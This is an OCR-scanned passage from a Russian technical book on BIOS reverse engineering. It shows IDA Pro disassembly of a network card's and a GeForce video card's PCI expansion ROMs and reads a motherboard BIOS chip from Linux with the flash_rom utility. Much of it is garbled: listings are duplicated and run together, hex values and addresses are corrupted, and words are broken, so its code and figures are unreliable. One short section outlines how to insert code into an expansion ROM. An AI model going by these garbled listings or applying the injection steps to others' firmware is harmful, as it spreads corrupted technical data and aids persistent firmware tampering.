MakeCommtea + OxlC, "Зарезервировано");
MakeWord(ea + OxlE); MakeNametea + OxlE,"siv");
MakeCommtea + OxlE," Вектор получения информации о статических ресурсах (0000b если нет)");
} return 0; }
Исходный код, приведенный в листинге 8.1, разработан с учетом спецификации BIOS расширения PCI и спецификации РпР, рассмотренных в предыдущей главе (в особенности, на информации о формате заголовка). Чтобы применить этот сценарий, откройте двоичный файл BIOS расширения в IDA Pro по сегменту ooooh и смещению ooooh. Точный загрузочный сегмент любой BIOS расширения заранее неизвестен, так как это зависит от конфигурации системы. За общесистемное управление адресацией, включая инициализацию базового адреса для регистров xrombar, а также загрузку и инициализацию всех BIOS расширения PCI, присутствующих в системе, отвечает системная BIOS. Поэтому мы можем загрузить двоичный файл BIOS расширения в сегмент ooooh. Вообще говоря, ее можно загрузить и в любой другой сегмент — принципиального значения это не имеет. Более того, как будет показано далее, все инструкции, связанные с обработкой данных, используют ссылки, основанные на сегменте кода. Двоичный файл необходимо дизассемблировать в 16-битном режиме, так как во время инициализации BIOS расширения процессор работает в реальном режиме. Результат анализа файла rpl.rom при помощи сценария IDA Pro показан в листинге 8.2.
Листинг 8.2. Результат анализа файла rpl.rom
0000:0000 magic_number dw 0AA55h
0000:0000
0000:0002 rom_size db ICh
; Сигнатура заголовка
;(так называемое "волшебное число") ; 14,336 байт
О000:0003 ;
d000:OOO3 entry_point:
qOOO:0003
; Безусловный переход к ; функции инициализации
qOOO:0003
short loc_43
0000:0003
0000:0005
db
4 Eh
; N
0000:0006
db
65h
; е
0000:0007
db
74h
; t
0000:0008
db
57h
; W
0000:0009
db
61h
; а
00OO:OOOA
db
72h
; г
0000:000В
db
65h
; е
0(JOO:OOOC
db
2 Oh
0000:0000
db
52h
; R
00O0:OOOE
db
65h
^; е
OQOO:OOOF
db
61h
; а
0000:0010
db
64h
; d
0000:0011
db
79h
; у
0000:0012
db
2 Oh
0000:0013
db
52h
; R
0000:0014
db
4Fh
; о
0000:0015
db
4Dh
; м
0000:0016
db
0
0000:0017
db
0
0000:0018
PCI_Struc_Ptr dw offset PCJR
; Указатель на структуру данных PCI
0000:001A
PnP_Struc_Ptr dw offset $PnP
; Указатель на структуру данных РпР
0000:001C
db
OEh
0000:0010
db
IDh
0000:001E
db
52h
; R
0000:001F
db
6
0000:0020
db
0E9h
; Т
0000:0021
db
2
Oo00:0022
db
2
0000:0023
$PnP
dd 506E5024h
; . . .
0000:0023
; Сигнатура структуры данных РпР
0000:0027
struc
_rev db 1
; Статус изменения структуры
0000:0028
length db 2
; Размер в блоках по 16 байт
°000:0029
next_
_hdr_offset dw 0
; Смещение следующего заголовка
°000:0029
; (0 если нет)
°°°0:002В
reserved— db 0
; Зарезервировано
J°°0:002C
checksum db 4
: . . .
°°°0:002C
; Контрольная сумма
0000:0510 vendor_id dw lOECh0000:051F device_id dw 8139h0000:0521 vpd_ptr dw 00000:05210000:0523 pci_struc_len dw 18h0000:0525 pci_struc_rev db 00000:0526 class_code_l db 20000:0527 class_code_2 db 00000:0528 class_code_3 db 00000:0529 image_len dw ICh0000:052В rev_level dw 201h0000:0520 code_type db 00000:052E indicator db 80h0000:052F reserved— db 00000:0510 vendor_id dw lOECh0000:051F device_id dw 8139h0000:0521 vpd_ptr dw 00000:05210000:0523 pci_struc_len dw 18h0000:0525 pci_struc_rev db 00000:0526 class_code_l db 20000:0527 class_code_2 db 00000:0528 class_code_3 db 00000:0529 image_len dw ICh0000:052В rev_level dw 201h0000:0520 code_type db 00000:052E indicator db 80h0000:052F reserved— db 00000:05190000:0519
0000:0510 vendor_id dw lOECh
0000:051F device_id dw 8139h
0000:0521 vpd_ptr dw 0
0000:0521
0000:0523 pci_struc_len dw 18h
0000:0525 pci_struc_rev db 0
0000:0526 class_code_l db 2
0000:0527 class_code_2 db 0
0000:0528 class_code_3 db 0
0000:0529 image_len dw ICh
0000:052В rev_level dw 201h
0000:0520 code_type db 0
0000:052E indicator db 80h
0000:052F reserved— db 0
0000:0510 vendor_id dw lOECh
0000:051F device_id dw 8139h
0000:0521 vpd_ptr dw 0
0000:0521
0000:0523 pci_struc_len dw 18h
0000:0525 pci_struc_rev db 0
0000:0526 class_code_l db 2
0000:0527 class_code_2 db 0
0000:0528 class_code_3 db 0
0000:0529 image_len dw ICh
0000:052В rev_level dw 201h
0000:0520 code_type db 0
0000:052E indicator db 80h
0000:052F reserved— db 0
0000:0519
0000:0519
350
Часть III. BIOS плат расширения ^
0000:0020 dev_id dd 0
; Идентификатор устройства
0000:0031 manufacturer_str dw 793h
; Указатель на строку производителя
0000:0033 product_str dw 7A7h
; Указатель на строку продукта
0000:0035 dev_type_l db 2
; Тип устройства (байт 1)
0000:0036 dev_type_2 db 0
; Тип устройства (байт 2)
0000:0037 dev_type_3 db 0
; Тип устройства (байт 3)
0000:0038 dev_indicator db 14h
; ...
0000:0038
; Признак устройства
0000:0039 bcv dw 0
; вектор подключения устройства
0000:0039
; загрузки (BCV)
0000:0039
; (0 если нет)
0000:003В bcv dw 0
; Вектор отключения (0000h если нет)
0000:0030 bev dw 168h
;
0000:0030
; Вектор точки входа загрузки (BEV)
0000:0030
; ((0000Н если нет))
0000:003F reserved- db 0
; Зарезервировано
0000:0041 siv dw 0
; вектор получения информации
0000:0041
; о статических ресурсах
0000:0041 siv dw 0
; (OOOOh если нет)
0000:0043 loc_43:
; . . .
0000:0043 mov cs:word_300, ax
0000:0047 cli
0000:0519 PCIR dd 52494350h
; Сигнатура структуры данных PCI
; Идентификатор производителя
; Идентификатор устройства
; Указатель на необходимые
данные о продукте
Длина структуры данных PCI
Дата изменения структуры PCI
Кодкласса(байт1)
Кодкласса(байт2)
Кодкласса(байт3)
Размер образа в блоках по 512 байт
; Статус изменения
; Тип кода
; Признак
; Зарезервировано
^осле анализа файла rpl.rom с помощью сценария IDA Pro, приведенного листинге 8.1, в дизассемблированном коде (листинг 8.2) можно будет четко ыделить основной заголовок BIOS расширения PCI, структуру данных PCI структуру данных РпР, а также соответствующие им указатели. Из листинга 8.2 также видно, что файл rpl.rom также реализует вектор точки входа для загрузки (BEV). Этот аспект будет рассмотрен вскоре, а пока давайте разберемся с главной ветвью исполнения кода во время инициализации BIOS платы расширения, т. е. когда функция init вызывается системной BIOS при помощи межсегментного вызова в ходе выполнения процедуры POST. Код исполнения этой ветви показан в листинге 8.3.
йнг 8.3. Главная ветвь исполнения rpl.rom
0000:0003 entry_point:
0000:0003
; Безусловный переход
; к функции инициализации
0000:0003
jmp
short loc_43
0000:0043
0000:0043
0000:0047
1ос_43:
mov cli
cs:word_300, ax
; . . .
0000:004Е
0000:0050
0000:0051
0000:0051
0000:0051
0000:0052
jnb retf
short
loc_
_51
; Возвращение
к
системной
BIOS.
loc_51: push pop
cs ds
; ...
С000:00ВВ 0000:00BD °000:00BE 0000:00BE °000:00BE °°00:00BF
jz retf
short
loc_
_BE
; Возвращение
к
системной
BIOS.
loc_BE: push push
ds
bx
; ...
°000:0165 0000:0166 0°00:0167
pop
Pop retf
bx ds
; Возвращение
к
системной
BIOS.
Анализ кода главной ветви (см. листинг 8.3) показывает, что этот код цСПо няется линейно, а возвращение в системную BIOS осуществляется испод Л нием инструкции retf, как и предполагалось ранее. Ветвь исполнения ' инициализации в BIOS расширения РС1 можно легко опознать по инструКц ям retf. Как правило, чтобы проследить главную ветвь исполнения BlQ^ расширения, достаточно обнаружить местонахождение инструкций tet{ Этот подход может не сработать, только если в данной BIOS применяется какая-либо экзотическая процедура, "злоупотребляющая" инструкцией retf
Теперь давайте разберемся с ветвью исполнения, начинающейся с вектора BEV. Вектор BEV исполняется, только если в установках BIOS материнской платы выбрана опция удаленной загрузки по сети. Кроме того, если ход исполнения идет по вектору BEV, сетевая карта рассматривается как загрузоч. ное устройство, во многом подобное жесткому диску при нормальной загрузке операционной системы. В листинге 8.2 значение вектора BEV указано по адресу 0000:003Dh, как I68h по отношению к началу BIOS расширения. Это
и есть точка входа для загрузки.
Листинг 8.4. Главная ветвь исполнения кода вектора BEV в rpf.rom
0000:0168 bev_start:
0000:0168
pushf
0000:0169
push cs
0000:01бА
call bev_proc
0000:0160
popf
0000:01бЕ
xor ax, ax
0000:0170
retf
0000:0190
bev_proc:
0000:0190
push es
0000:0191
push ds
0000:0192
push ax
0000:0193
pushf
0000:0194
mov ax, es
\оД6.*\оД6.*исполнения кода при вызове вектора BEV системной BIOS показан ,стинге 8.4. Обратите внимание, что этот листинг показывает только наи-
\оД
6.*
\оД
6.*
болееболееважные фрагменты дизассемблированного кода.
более
более
о 2 2- Дизассемблирование BIOS расширения Gigabyte GV-NX76T256D-RH GeForce 7600 GT
Теперь разберем BIOS расширения видеоплаты PCI Express на чипе Nvidia 7600 GT. Любая видеоплата снабжена BIOS расширения, которая необходима для инициализации адаптера и обеспечения видеовывода на раннем этапе загрузки. Если вы думаете, что структура данной BIOS расширения присуща только устройствам PCI Express, вы ошибаетесь. Спецификация PCI Express не определяет новую структуру BIOS расширения, и структура BIOS расширения устройств PCI Express идентична структуре BIOS расширения PCI, описанной в предыдущей главе. Дизассемблированный код рассматриваемой BIOS расширения приведен в листинге 8.5.
Листинг 8.5. Ход исполнения основного кода BIOS расширения видеоплаты GeForce 7600 GT
0000:00 00
magic.
_nurriber dw 0AA55h
; Сигнатура заголовка
(0000:0000
; так называемое "волшебное число"
0000:00 02
ront-Size db 7Fh
; 65,024 bytes
0000:00 03
0000:00 03
entry_point:
; Безусловный переход
0000:0003
; к функции инициализации
0000:00 03
0000:0003
jmp
short INIT
0000:0005
db
37h
; 7
0000:0006
db
34h
; 4
0000:0007
db
30h
; 0
0°00:QOO8
db
30h
; 0
О°00;0009
db
0E9h
; т
0°0О;ОООА
db
4Ch
; L
5°00:000В
db
19h
“°00:ОООС
db
77h
; w
'0000:0000
db
OCCh
. ।
'0°0:ОООЕ
db
56h
; V
Q°°0:000F
db
49h
; I
ии°0:0010
db
44h
; D
0000:0011
db
45h
; E
0000:0012
db
4Fh
; 0
0000:0013
db
2 Oh
0000:0014
db
ODh
0000:0015
db
0
0000:0016
db
0
0000:0017
db
0
0000:0018 PCI_Struc_Ptr dw offset PCIR ; Указатель на структуру данных PCI
0000:001Аdb 13h
0000:001Вdb llh
0000:0050 INIT:
0000:0050 jnp exec_rom_init
0000:00A0 PCIR db 'PCIR' 0000:00A00000:00A4 vendor_id dw lODEh 0000:00A6 device_id dw 392h 0000:00A8 vpd_ptr dw 0 0000:00A80000:00AA pci_struc_len dw 18h0000:00AC pci_struc_rev db 00000:00AD class_code_l db 00000:00AE class_code_2 db 00000:00AF class_code_3 db 30000:0080 image_len dw 7Fh0000:00B00000:0082 rev_level dw 10000:0084 code_type db 00000:0085 indicator db 80h0000:0086 reserved— db 00000:00A0 PCIR db 'PCIR' 0000:00A00000:00A4 vendor_id dw lODEh 0000:00A6 device_id dw 392h 0000:00A8 vpd_ptr dw 0 0000:00A80000:00AA pci_struc_len dw 18h0000:00AC pci_struc_rev db 00000:00AD class_code_l db 00000:00AE class_code_2 db 00000:00AF class_code_3 db 30000:0080 image_len dw 7Fh0000:00B00000:0082 rev_level dw 10000:0084 code_type db 00000:0085 indicator db 80h0000:0086 reserved— db 0; Сигнатура структуры данных PCI; Идентйфикатор производителя; Идентификатор устройства; Указатель на необходимые; данные о продукте; Длина структуры данных PCI; Дата изменения структуры PCI;Кодкласса(байт1);Кодкласса(байт2);Кодкласса(байт3); Длина образа в блоках по 512 байт; Статус изменения; Тип кода; Признак; Зарезервировано; Сигнатура структуры данных PCI; Идентйфикатор производителя; Идентификатор устройства; Указатель на необходимые; данные о продукте; Длина структуры данных PCI; Дата изменения структуры PCI;Кодкласса(байт1);Кодкласса(байт2);Кодкласса(байт3); Длина образа в блоках по 512 байт; Статус изменения; Тип кода; Признак; Зарезервировано
0000:00A0 PCIR db 'PCIR' 0000:00A0
0000:00A4 vendor_id dw lODEh 0000:00A6 device_id dw 392h 0000:00A8 vpd_ptr dw 0 0000:00A8
0000:00AA pci_struc_len dw 18h
0000:00AC pci_struc_rev db 0
0000:00AD class_code_l db 0
0000:00AE class_code_2 db 0
0000:00AF class_code_3 db 3
0000:0080 image_len dw 7Fh
0000:00B0
0000:0082 rev_level dw 1
0000:0084 code_type db 0
0000:0085 indicator db 80h
0000:0086 reserved— db 0
0000:00A0 PCIR db 'PCIR' 0000:00A0
0000:00A4 vendor_id dw lODEh 0000:00A6 device_id dw 392h 0000:00A8 vpd_ptr dw 0 0000:00A8
0000:00AA pci_struc_len dw 18h
0000:00AC pci_struc_rev db 0
0000:00AD class_code_l db 0
0000:00AE class_code_2 db 0
0000:00AF class_code_3 db 3
0000:0080 image_len dw 7Fh
0000:00B0
0000:0082 rev_level dw 1
0000:0084 code_type db 0
0000:0085 indicator db 80h
0000:0086 reserved— db 0
; Сигнатура структуры данных PCI
; Идентйфикатор производителя
; Идентификатор устройства
; Указатель на необходимые
; данные о продукте
; Длина структуры данных PCI
; Дата изменения структуры PCI
;Кодкласса(байт1)
;Кодкласса(байт2)
;Кодкласса(байт3)
; Длина образа в блоках по 512 байт
; Статус изменения
; Тип кода
; Признак
; Зарезервировано
; Сигнатура структуры данных PCI
; Идентйфикатор производителя
; Идентификатор устройства
; Указатель на необходимые
; данные о продукте
; Длина структуры данных PCI
; Дата изменения структуры PCI
;Кодкласса(байт1)
;Кодкласса(байт2)
;Кодкласса(байт3)
; Длина образа в блоках по 512 байт
; Статус изменения
; Тип кода
; Признак
; Зарезервировано
0000:DA9D
exec_rorr
!_init:
0000:DA9D
test
cs:byte_48, 1
0000:DAA3
jz
short loc_DAD2
0000:DAA5
pusha
0000:DB45
call
sub—D85F
0000:0848
jirp
loc_FCD3
0000:FCD3
loc_FCD3
0000:FCD3
pushad
^ава 8. Дизассемблирование BIOS расширения PCI
355
oOOO:FCD5push cs
oOOO:FCD6popds
0000:3890 loc_3890:; ...
0000:3890callsub_383A
0000:3893xorah, ah
0000:3895moval, 3
0000:3897callsub_112A
q000:389Amovcs:byte_AC8, 0
0000:38AOcallsub_1849
0000:38A3testcs:byte_48, 1
0000:38A9jnzshort loc_38B3
0000:38AB test cs:byte_34, lOh
0000:38B1jzshort loc_38B6
0000:3863
0000:38B3 loc_38B3:; ...
0000:38B3 call sub_AF6
0000:38B6
0000:38B6 loc_38B6:; ...
0000:38B6callsub_C22D
0000:38B9clc
0000:38BAcallsub_ClF7
0000:38BDcallsub_4739
0000:3 SCOcallsub_3872
0000:38C3popbp
0000:38C4 retf; Возвращение к системной BIOS.
Из листинга 8.5 видно, что BIOS расширения PCI Express видеоплаты GeForce 7600 GT не придерживается спецификации BIOS РпР. Однако она соответствует спецификации BIOS расширения PCI, т. е. имеет корректную структуру данных PCI. Обратите внимание, что хотя в листинге 8.5 по адреСУ oooo:ooiAh имеется ненулевое значение, оно не указывает на корректную структуру данных РпР. Таким образом, чтобы найти главную ветвь исполнеНия кода, необходимо отследить безусловный переход к функции init, а затем трассировать исполнение кода до тех пор, пока не будет обнаружена инстРукция retf, которая обозначает возврат в системную BIOS.
Замечание о возможности вставки
кода в BIOS расширения
Как видите, дизассемблирование BIOS расширения — относительно простая задача. Вставка кода в BIOS расширения также не составляет труда. Для это. го нужно лишь выполнить следующие действия:
Перенаправить указатель на функцию init.
Вычислить новое значение контрольной суммы BIOS.
Обновить значение общего размера BIOS в заголовке, если новый двоичный файл длиннее первоначального.
Наконец, следует помнить, что общий размер BIOS, включая вставленный код, не может превышать емкость чипа ROM BIOS расширения.
MfS^l^i’fl^Eg^ <##iDef ihe ^reprocess . f^MY^FRODECT^P Мф!* : l##^^t^xtend^dj*leng; И4;Ь132Ж:?-!*С®4Ж* feW^jSsfixSaffioffi №c861:jO^S^S !|ШЖЖйЖЙИЖ fcO/Additional^-di recti I# ^^Хез^Ье.f ore^the
Часть IV
ВНЕСЕНИЕ ИЗМЕНЕНИЙВ КОД BIOS
Глава 9Глава 9И oKihe Creproeess ^й&й&зкяе, -prepz **<Setje^tended^leng 1г^^Ж-^Н^^ jH^3si'6^iaxi®um:> float
Глава 9
Глава 9
W Addititmai^rtet #f«fdd^ ^before: the
Обращение к BIOS из операционной системы
Введение
В данной главе мы рассмотрим, как получить доступ к содержимому чипа BIOS, включая содержимое чипов ROM BIOS расширения, непосредственно из операционной системы. В первом разделе излагаются основные принципы, а далее рассматриваются конкретные вопросы, связанные с операционной системой, и соответствующие интерфейсы. Наконец, демонстрируется принципиальная возможность воплощения этой идеи для Linux и Windows.
Общий способ доступа
Реализация прямого доступа- к содержимому чипа BIOS из операционной системы может показаться задачей не из легких, но в действительности это проще, чем кажется на первый взгляд. Прямой доступ к содержимому чипа BIOS и манипулирование этим содержимым из операционной системы можно реализовать только в случае с чипами типа EEPROM (electrically erasable Programmable ROM — электрически стираемое программируемое ПЗУ) или флэш-ROM. К счастью, начиная с конца 1990-х, во всех материнских платах применяются именно эти виды чипов ROM BIOS, в
° разных операционных системах имеются разные уровни программного обеспечения. Однако, благодаря единой модели программирования для архиТектуры х86, логические действия для доступа к содержимому BIOS с любо- г° Уровня почти одинаковы. В большинстве операционных систем архитекТУры х86 аппаратными средствами реализуется два уровня привилегий для предоставления прикладным программам прямого доступа к системным рейсам. Эти уровни привилегий известны как кольцо 0 (ring 0), или режим я^ра (kernel mode) и кольцо 3 (ring 3), или пользовательский режим (user n^ode). Любое программное обеспечение, исполняющееся в режиме ядра,
может обращаться напрямую к аппаратным средствам, включая чип Ro^ BIOS, и манипулировать ими. Таким образом, общая процедура для получу ния доступа к чипу ROM BIOS материнской платы из операционной системы состоит из следующих шагов:
В операционной системе входим в режим ядра. В большинстве случаев чтобы выполнить этот шаг, необходимо разработать драйвер устройства для конкретной операционной системы. Специальный драйвер необходим по следующим двум причинам. Во-первых, операционная система предоставляет доступ к режиму ядра только драйверам устройств. Во-вторых в большинстве случаев, операционные системы не предоставляют четко определенного интерфейса для манипуляции чипом BIOS (если такой интерфейс предоставляется вообще). С первого взгляда, может показаться, что для предоставления пользовательскому приложению доступа к чипу ROM BIOS посредством драйвера устройства для Linux и Windows необходимо применять разные подходы. Но это совсем не так, по причине уже упомянутой единой системной архитектуры программного обеспечения. Основным назначением драйвера устройства является предоставление приложениям пользовательского режима прямого доступа к адресному пространству чипа ROM BIOS. Как показано в разд. 9.2, для Linux нет даже необходимости создавать драйвер устройства для реализации этой идеи, так как ядро этой операционной системы предоставляет доступ к адресному пространству чипа ROM BIOS посредством виртуального файла в каталоге /dev/mem. Общий способ для "экспортирования” адресного пространства чипа ROM BIOS в пользовательское приложение заключается в следующем:
Отображаем физический диапазон адресов чипа ROM BIOS (т. е. адресное пространство, примыкающее к пределу памяти в 4 Гбайт) на виртуальное адресное пространство процесса, которому нужно предоставить доступ к содержимому чипа ROM BIOS.
Создаем указатель на начало отображенного содержимого чипа ROM BIOS в виртуальном адресном пространстве процесса.
С помощью указателя, созданного на предыдущем шаге, манипулируем содержимым чипа ROM BIOS непосредственно из пользовательского приложения. Это означает, что содержимое чипа можно считывать при помощи оператора разыменования. Однако, так как чип BIOS является памятью ROM, для выполнения операций записи, как и для стирания
чипа, необходимо выполнить определенные подготовительные действия.
з Осуществляется аппаратно-зависимая часть операций, необходимых для " получения доступа к содержимому чипа ROM BIOS и манипулирования этим содержимым. Для выполнения этого шага необходимо точно знать, каким способом производится доступ к чипу BIOS на уровне аппаратных средств. Эту информацию можно найти в технической документации на чипсет и на чип ROM BIOS. Как правило, чтобы получить аппаратный доступ к чипу BIOS, необходимо выполнить следующие действия:
о Регистры чипсета конфигурируются таким образом, чтобы разрешить доступ к адресному пространству чипа ROM BIOS с правом чтения и записи. В архитектуре х86 адресное пространство чипа ROM BIOS отображается в область общесистемного адресного пространства, примыкающую к верхней границе первых 4 Гбайт. Регистры чипсета, управляющие доступом к чипу ROM BIOS, обычно находятся в южном мосте.
о Далее необходимо прочитать байты идентификаторов производителя и чипа, расположенные по стандартным адресам. Эта информация необходима, чтобы решить, каким методом пользоваться для обращения к содержимому чипа ROM BIOS. Обратите внимание, что чипы ROM BIOS разных производителей имеют индивидуальные наборы команд для доступа к их содержимому. Некоторые команды приведены к общему стандарту ассоциацией JEDEC (http://jedec.org/).
о Двоичный код записывается в чип и считывается из него согласно спецификации производителя чипа.
Только что описанный способ представляет технику доступа к содержимому чипа ROM BIOS и манипулирования этим содержимым из операционной системы. В последующих разделах рассматривается практическая реализация принципов доступа к чипу BIOS из конкретных операционных систем.
Доступ к содержимому BIOS материнской платы из Linux
° Разд. 9.1 мы ознакомились с общими принципами получения прямого дос- ^'па к чипу ROM BIOS из операционной системы. Для подтверждения этой Концепции рассмотрим, как выполнить поставленную задачу в Linux. Экспе-
римент я проводил на устаревшей материнской плате Iwill VD133, выпущен, ной в 2000 году. Я выбрал данную плату по двум причинам. Во-первых, я хотел показать, что поставленная задача осуществима даже с устаревшими материнскими платами. Во-вторых, так как эта материнская плата морально устарела, бесплатную документацию на ее чипсет можно без труда найти в Интернете. Техническая документация на чипсет, а также на соответствующий чип ROM BIOS необходима для реализации доступа к содержимому BIOS и манипулирования им. Технические характеристики системы, на которой я проводил эксперимент, следующие:
□ Материнская плата Iwill VD133 с северным мостом VIA 693А и южным мостом VIA 596В. Первоначальная BIOS датируется 28 июля 2000 года. Чип BIOS — флэш-ROM Winbond W49F002U.'
□ Операционная система — Linux Slackware 9.1, версия ядра 2.4.24. Обратите внимание, что при инсталляции необходимо установить и исходный код ядра. Исходный код требуется для перекомпиляции программного обеспечения, предназначенного для прямого доступа к содержимому чипа ROM BIOS.
В дальнейшем я буду называть эту систему целевой.
Чтобы выполнить нашу задачу, нам также потребуется следующая документация:
□ Техническая документация на чипсет, в особенности — на его южный мост. В материнских платах архитектуры х86 южный мост управляет доступом к чипу BIOS. В данном случае, нам нужна техническая документация на южный мост VIA 596В. Ее можно скачать бесплатно по адресу http ://w w w.megaupIoad.com/?d=FF297JQD.
□ Так как каждый чип ROM BIOS имеет свой собственный набор команд (см. разд. 9.1), нам будет необходима техническая документация на наш чип ROM BIOS. В данном случае, это техническая документация на чип ROM Winbond W49F002U. Ее можно скачать по адресу http://www.winbond.com/e-winbondhtm/partner/_Memory_F_PF.htm.
Кроме того, потребуется и утилита, с помощью которой можно будет осуществлять прямой доступ к чипу ROM BIOS. Я предпочитаю создавать такие утилиты сам, так как это позволяет мне реализовать все возможности управления системой, требующиеся для решения конкретной задачи, не дожидаясь, пока кто-то создаст необходимый мне инструмент. К счастью, для реше-
ния рассматриваемой задачи уже имеется готовая утилита для прошивки plOS из Linux от разработчиков проекта Freebios (http://sourceforge.net/ cVs/?group_id=3206). Называется она fiash_n_burn. Исходный код утилиты можно скачать по адресу http://freebios.cvs.sourceforge.net/freebios/freebios/ util/flash_and_burn/. Плохо то, что эта утилита не является стандартным компонентом дистрибутива Freebios. С помощью этого инструмента можно сделать дамп двоичного файла BIOS из чипа ROM BIOS и прошить его обратно в чип из Linux. Я рекомендую вам добавить эту утилиту, которую можно приспособить для выполнения ваших конкретных задач, в ваш набор инструментов.
Знакомство с утилитой flash_n_burn
Начнем наше знакомство с утилитой fiash_n_burn с рассмотрения процедур компиляции ее исходного кода. Скопируйте исходный код в каталог -/Project/freebios_flash_n_burn. КОМПИЛЯЦИЯ ПРОИЗВОДИТСЯ С ПОМОЩЬЮ утилиты make, результаты работы которой показаны в листинге 9.1. Вывод информации о результатах процесса компиляции можно подавить, запустив компиляцию с помощью команды make clean вместо просто make из каталога, в котором находится исходный код.
Листинг 9.1. Компилирование утилиты flash nburn
pinczakko@opunaga:-/Project/freebios_flash_n_burn> make
gcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werror9cc -02 -g -Wall -Werror9cc -02 -g -Wall -Werror -ogcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werrorgcc -02 -g -Wall -Werror9cc -02 -g -Wall -Werror9cc -02 -g -Wall -Werror -oc —о flash_rom.o flash_rom.cс —о jedec.o jedec.cc —о sst28sf040.o sst28sf040.cс —о am29f040b.o am29f040b.cc —о sst39sf020.o sst39sf020.cc -o m29f400bt.o m29f400bt.cc —о w49f002u.o w49f002u.cс —о 82802ab.o 82802ab.cс —о msys_doc.o msys_doc.cflash_rom flash_rom.c jedec.oc —о flash_rom.o flash_rom.cс —о jedec.o jedec.cc —о sst28sf040.o sst28sf040.cс —о am29f040b.o am29f040b.cc —о sst39sf020.o sst39sf020.cc -o m29f400bt.o m29f400bt.cc —о w49f002u.o w49f002u.cс —о 82802ab.o 82802ab.cс —о msys_doc.o msys_doc.cflash_rom flash_rom.c jedec.o
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
9cc -02 -g -Wall -Werror
9cc -02 -g -Wall -Werror -o
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
gcc -02 -g -Wall -Werror
9cc -02 -g -Wall -Werror
9cc -02 -g -Wall -Werror -o
c —о flash_rom.o flash_rom.c
с —о jedec.o jedec.c
c —о sst28sf040.o sst28sf040.c
с —о am29f040b.o am29f040b.c
c —о sst39sf020.o sst39sf020.c
c -o m29f400bt.o m29f400bt.c
c —о w49f002u.o w49f002u.c
с —о 82802ab.o 82802ab.c
с —о msys_doc.o msys_doc.c
flash_rom flash_rom.c jedec.o
c —о flash_rom.o flash_rom.c
с —о jedec.o jedec.c
c —о sst28sf040.o sst28sf040.c
с —о am29f040b.o am29f040b.c
c —о sst39sf020.o sst39sf020.c
c -o m29f400bt.o m29f400bt.c
c —о w49f002u.o w49f002u.c
с —о 82802ab.o 82802ab.c
с —о msys_doc.o msys_doc.c
flash_rom flash_rom.c jedec.o
sst28sf040.o am29f040b.o mx29f002.c sst39sf020.o m29f400bt.o
w49f002u.o 82802ab.o msys_doc.o -Ipci
gcc -02 -g -Wall -Werror -o flash_on flash_on.c pinczakko@opunaga:-/Proj ect/freebios_flash_n_burn>
Результатом работы команды make будут два исполняемых файла fiash_on и fiash_rom (листинг 9.2). Для ясности, я оставил только эти дВа файла в листинге содержимого каталога (листинг 9.2).
i.: г м ?,2 Исполняе№ ыефайлыутил! гыflash_n_burn
pinczakko@opunaga:~/Project/freebios_flash_n_burn> Is -1
-rwxr-xr-x 1 pinczakko users 25041 Aug 5 11:49 flash_on*
-rwxr-xr-x 1 pinczakko users 133028 Aug 5 11:49 flash_rom*
Вообще говоря, в файле fiash_on нет необходимости, так как его функциональность включена в файл f iash_rom. Назначение файла f iash_on — активировать доступ к чипу ROM BIOS через южный мост чипсета SiS. Эта функциональность была впоследствии интегрирована в файл fiash_rom, и, таким образом, файл fiash_on стал ненужным. Поэтому я рассматриваю только применение утилиты flash_rom. Утилита запускается на исполнение обычным способом — для этого достаточно ввести в терминале ее название и указать необходимые параметры, как показано в листинге 9.3. Если введены неправильные параметры, утилита f iash_rom сообщает об этом и предоставляет информацию по ее использованию, включая правильное указание необходимых параметров (см. листинг 9.3).
Листинг 9.3. Использование утилиты flashLrom
pinczakko@opunaga:~/Project/A-List_Publishing/freebios_flash_n__burn> . /flash_rom —help
./flash_rom: invalid option — -
; ./flash_rom: invalid option — - Недействительная опция usage: ./flash_rom [-rwv] [-c chipname][file]
; использование: ./flash_rom [-rwv] [-с имя_чипа][файл]
-r: read flash and save into file
; -г: считать содержимое чипа флэш и сохранить в файл
-w: write file into flash (default when file is specified)
; -w: записать файл в чип флэш (по умолчанию, когда указан файл)
-v: verify flash against file
-v: сверить содержимое чипа флэш с содержимым файла
с: probe only for specified flash chip
, -с: исследовать только указанный чип флэш
jf no file is specified, then all that happens
1S that flash info is dunped
. Если не указано файла, тогда выводится . только информация о чипе флэш
Чтобы воспользоваться ВОЗМОЖНОСТЯМИ flash_rom в полном объеме, утилиту следует запускать, зарегистрировавшись от имени пользователя root, так как в противном случае, вы даже не сможете прочитать содержимое чипа ROM BIOS. Причина этого состоит в том, что для запуска этой программы необходим определенный уровень привилегий ввода-вывода.
Снимем дамп двоичного файла BIOS целевой системы. Не забудьте, что для успешного выполнения этой операции необходимо войти в систему под учетной записью администратора (root). Результаты процесса снятия дампа показаны в листинге 9.4. Обратите внимание, что для краткости в листинге 9.4 показана урезанная часть дампа, содержащая только информацию, необходимую для понимания происходящего.
Листинг 9.4. Считывание двоичного файла BIOS из чипа ROM BIOS в файл в Linux
root@opunaga:/home/pinczakko/Project/freebios_flash_n_burn#
■ /flash_rom -r dump.bin
Calibrating timer since microsleep sucks ... takes a second
И Калибрируем таймер, так как функция microsleep никуда не годится.
И Это займет всего лишь секунду.
Setting up microsecond timing loop
Ч Устанавливаем цикл замера микросекунды.
128м loops per second
Ч 128 миллионов циклов в секунду, calibrated, now do the deed
'/ Таймер откалиброван. Выполняем задание.
tabling flash write on VT82C596B ... OK
Ч Разрешаем запись в VT82C596B. Разрешение успешно.
TrYing Am29F040B, 512 КВ
'* Пробуем чип Am29F040B, 512 Кбайт
probe_29f040b: idl 0x25, id2 0xf2
Ttying At29C040A, 512 KB
* Пробуем чип Am29F040C, 512 Кбайт
probe_jedec: idl Oxda, id2 Oxb
